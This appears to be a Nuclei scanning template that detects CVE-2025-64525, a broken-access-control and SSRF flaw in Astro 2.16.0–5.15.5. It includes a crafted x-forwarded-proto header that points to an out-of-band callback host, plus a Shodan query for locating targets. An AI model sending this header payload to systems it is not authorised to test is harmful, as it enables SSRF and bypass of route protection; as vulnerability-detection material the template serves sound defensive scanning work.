Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.
id: CVE-2025-64525
info:
name: Astro - Broken Access Control
author: zhero___,DhiyaneshDK
severity: medium
description: |
Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.
impact: |
Attackers can bypass route protection, cause denial of service, perform SSRF, and pollute URLs leading to security bypasses and potential XSS.
remediation: |
Update to version 5.15.5 or later.
reference:
- https://github.com/advisories/GHSA-hr2q-hp5q-x767
- https://zhero-web-sec.github.io/research-and-things/astro-framework-and-standards-weaponization
metadata:
verified: true
max-request: 1
shodan-query: html:"_astro"
tags: cve,cve2025,astro,ssrf,oast,oob,vuln
http:
- method: GET
path:
- "{{BaseURL}}/"
headers:
x-forwarded-proto: "http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Astro-Middleware"
- "User-Agent: node"
condition: or
# digest: 4a0a0047304502204a37fcc27cf5ca353dcccfcc76a226902d69d08fc3825d87c86864cf503bff2e022100d77b4d8d90a4d1a01b4e9fe0febbb240b98c8de2bea0df89447096e5b6f495bb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.